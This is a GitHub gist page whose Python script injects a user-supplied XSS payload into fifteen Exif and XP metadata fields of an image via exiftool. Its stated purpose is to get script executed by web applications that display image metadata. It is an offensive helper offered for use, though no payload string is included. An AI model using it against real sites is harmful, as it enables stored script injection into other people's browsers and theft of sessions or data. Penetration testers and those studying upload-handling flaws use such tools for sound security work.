-
-
Save krlabs/e6815eb67e909f09d6c3d5c8b2158c41 to your computer and use it in GitHub Desktop.
Embedding XSS payloads in the Exif Metadata fields of and image
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import subprocess | |
exifs = [ | |
"ImageDescription", | |
"Make", | |
"Model", | |
"Software", | |
"Artist", | |
"Copyright", | |
"XPTitle", | |
"XPComment", | |
"XPAuthor", | |
"XPSubject", | |
"Location", | |
"Description", | |
"Author" | |
] | |
if sys.argv[1] and sys.argv[2]: | |
image = sys.argv[1] | |
xss = sys.argv[2] | |
for exif in exifs: | |
attribute = "-{0}={1}".format(exif, xss) | |
subprocess.call(["exiftool", attribute, image]) | |
subprocess.call(["exiftool", image]) | |
else: | |
print("No source image given") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment